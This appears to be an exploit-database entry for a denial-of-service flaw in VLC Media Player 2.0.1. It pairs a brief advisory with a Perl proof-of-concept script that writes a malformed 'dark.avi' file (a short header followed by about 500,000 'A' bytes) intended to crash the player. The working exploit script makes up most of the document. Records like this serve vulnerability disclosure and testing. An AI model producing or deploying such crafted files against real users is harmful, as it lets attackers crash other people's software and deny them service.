VideoLAN VLC Media Player 2.0.1 - '.avi' File Denial of Service
source: https://www.securityfocus.com/bid/54208/info
VLC Media Player is prone to a denial-of-service vulnerability.
Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.
#!/usr/bin/perl
my $h ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
my $d = "\x41" x 500429 ;
my $file = "dark.avi";
open ($File, ">$file");
print $File $h,$d;
close ($File);Data
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23 Nov 2016 00:00Current
5.3Medium risk
Vulners AI Score5.3